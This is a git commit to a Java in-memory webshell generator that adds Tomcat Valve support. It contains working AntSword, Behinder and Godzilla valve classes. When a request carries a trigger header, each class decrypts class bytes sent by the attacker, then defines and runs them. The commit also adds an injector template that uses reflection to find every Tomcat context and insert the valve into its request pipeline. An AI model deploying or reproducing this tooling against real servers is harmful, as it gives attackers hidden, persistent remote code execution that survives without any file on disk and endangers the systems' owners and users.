add: 添加对 Tomcat Valve 的支持

This commit is contained in:
pen4uin
2024-09-14 14:40:05 +08:00
parent 182108956e
commit 146d04cf12
15 changed files with 709 additions and 41 deletions
+1 -1
View File
@@ -26,7 +26,7 @@
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | | | WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
| Undertow | | Custom | | JAR_AGENT | | | Undertow | | Custom | | JAR_AGENT | |
| GlassFish | | | | JS | | | GlassFish | | | | JS | |
| | | | | JSP | | | | | | | JSP | |
@@ -0,0 +1,87 @@
package jmg.antsword.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
}
}else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -1,9 +1,6 @@
package jmg.antsword.util; package jmg.antsword.util;
import jmg.antsword.memshell.AntSwordFilter; import jmg.antsword.memshell.*;
import jmg.antsword.memshell.AntSwordJakartaFilter;
import jmg.antsword.memshell.AntSwordJakartaListener;
import jmg.antsword.memshell.AntSwordListener;
import jmg.core.config.Constants; import jmg.core.config.Constants;
import java.util.HashMap; import java.util.HashMap;
@@ -35,11 +32,14 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName()); SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName()); SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
Map<String, String> antSwordMap = new HashMap(); Map<String, String> antSwordMap = new HashMap();
antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName()); antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName()); antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName()); antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
} }
@@ -0,0 +1,89 @@
package jmg.behinder.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public BehinderValve() {
}
public BehinderValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
HttpSession session = (request.getSession());
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -33,6 +33,7 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName()); SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName()); SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
Map<String, String> behinderMap = new HashMap(); Map<String, String> behinderMap = new HashMap();
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
@@ -40,6 +41,8 @@ public class ShellUtil {
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName()); behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName()); behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
toolMap.put(Constants.TOOL_BEHINDER, behinderMap); toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
} }
+51
View File
@@ -26,5 +26,56 @@
<artifactId>jakarta.servlet-api</artifactId> <artifactId>jakarta.servlet-api</artifactId>
<version>5.0.0</version> <version>5.0.0</version>
</dependency> </dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.58</version>
<exclusions>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-juli</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jni</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util-scan</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-annotations-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jsp-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jaspic-api</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies> </dependencies>
</project> </project>
@@ -2,7 +2,7 @@ package jmg.core.config;
public class Constants { public class Constants {
public static final String JMG_VERSION = "1.0.8"; public static final String JMG_VERSION = "1.0.8_240914";
public static final String JMG_NAME = "java-memshell-generator"; public static final String JMG_NAME = "java-memshell-generator";
public static final String JMG_DESCRIPTION = "Java 内存马生成器"; public static final String JMG_DESCRIPTION = "Java 内存马生成器";
@@ -0,0 +1,243 @@
package jmg.core.template;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Valve 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v8.5.83, v9.0.67
*/
public class TomcatValveInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatValveInjectorTpl();
}
public TomcatValveInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getValve(context);
if (valve == null) continue;
injectValve(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
valve = clazz.newInstance();
} catch (Exception e2) {
e2.printStackTrace();
}
}
return valve;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public boolean isInjected(Object context, String valveClassName) throws Exception {
Object obj = invokeMethod(context, "getPipeline");
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(valveClassName)) {
return true;
}
}
return false;
}
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println(valve.getClass().getName() + "exist, skipping.");
return;
}
try {
Class ValveClass;
try {
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
} catch (Exception e) {
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
}
Object obj = invokeMethod(context, "getPipeline");
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -63,6 +63,9 @@ public class ClassNameUtil {
if (shellType.contains(Constants.SHELL_LISTENER)){ if (shellType.contains(Constants.SHELL_LISTENER)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
} }
if (shellType.contains(Constants.SHELL_VALVE)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve";
}
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
} }
@@ -56,11 +56,13 @@ public class InjectorUtil {
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName()); INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName()); INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName());
Map<String, String> tomcatMap = new HashMap(); Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector"); tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector"); tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector"); tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector"); tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap); classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
@@ -0,0 +1,153 @@
package jmg.godzilla.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
static String key;
static String pass;
public String headerName;
public String headerValue;
static String md5;
static {
md5 = md5(pass + key);
}
public GodzillaValve() {
}
public GodzillaValve(ClassLoader z) {
super(z);
md5 = md5(pass + key);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
System.out.println(headerName + ":" + headerValue);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
}else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
}
@@ -34,6 +34,7 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName()); SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName()); SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName()); SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(GodzillaValve.class.getSimpleName(), GodzillaValve.class.getName());
Map<String, String> godzillaMap = new HashMap(); Map<String, String> godzillaMap = new HashMap();
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName()); godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
@@ -42,6 +43,7 @@ public class ShellUtil {
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName()); godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName()); godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName()); godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
godzillaMap.put(Constants.SHELL_VALVE, GodzillaValve.class.getSimpleName());
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap); toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
} }
+66 -33
View File
@@ -21,9 +21,7 @@ import java.awt.event.ItemEvent;
import java.awt.event.ItemListener; import java.awt.event.ItemListener;
import java.io.File; import java.io.File;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Locale; import java.util.*;
import java.util.Map;
import java.util.ResourceBundle;
public class jMGForm { public class jMGForm {
private static JFrame frame; private static JFrame frame;
@@ -107,35 +105,70 @@ public class jMGForm {
public jMGForm() { public jMGForm() {
config = new AbstractConfig(); config = new AbstractConfig();
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER, Constants.SHELL_JAKARTA_FILTER}; ArrayList<String> servletApiShellBox = new ArrayList<>(Arrays.asList(
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS}; Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER, Constants.SHELL_JAKARTA_FILTER,
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC}; Constants.SHELL_VALVE
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR}; ));
String[] handlerMethodServerBox = {Constants.SERVER_SPRING_WEBFLUX};
String[] handlerMethodShellBox = {Constants.SHELL_WF_HANDLERMETHOD};
String[] behinderServerBox = CommonUtil.concatenateArrays(servletApiServerBox, interceptorServerBox);
String[] behinderShellBox = CommonUtil.concatenateArrays(servletApiShellBox, interceptorShellBox);
String[] godzillaServerBox = CommonUtil.concatenateArrays(behinderServerBox, handlerMethodServerBox);
String[] godzillaShellBox = CommonUtil.concatenateArrays(behinderShellBox, handlerMethodShellBox);
String[] formatBoxForOther = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP};
String[] formatBoxForTomcat = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP};
String[] exprEncoderBoxItems = new String[]{Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS}; ArrayList<String> servletApiServerBox = new ArrayList<>(Arrays.asList(
String[] gadgetTypeBoxItems = new String[]{Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET}; Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE,
Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS
));
ArrayList<String> interceptorServerBox = new ArrayList<>(Arrays.asList(Constants.SERVER_SPRING_MVC));
ArrayList<String> interceptorShellBox = new ArrayList<>(Arrays.asList(Constants.SHELL_INTERCEPTOR));
ArrayList<String> handlerMethodServerBox = new ArrayList<>(Arrays.asList(Constants.SERVER_SPRING_WEBFLUX));
ArrayList<String> handlerMethodShellBox = new ArrayList<>(Arrays.asList(Constants.SHELL_WF_HANDLERMETHOD));
ArrayList<String> behinderServerBox = new ArrayList<>();
behinderServerBox.addAll(servletApiServerBox);
behinderServerBox.addAll(interceptorServerBox);
ArrayList<String> behinderShellBox = new ArrayList<>();
behinderShellBox.addAll(servletApiShellBox);
behinderShellBox.addAll(interceptorShellBox);
ArrayList<String> godzillaServerBox = new ArrayList<>();
godzillaServerBox.addAll(behinderServerBox);
godzillaServerBox.addAll(handlerMethodServerBox);
ArrayList<String> godzillaShellBox = new ArrayList<>();
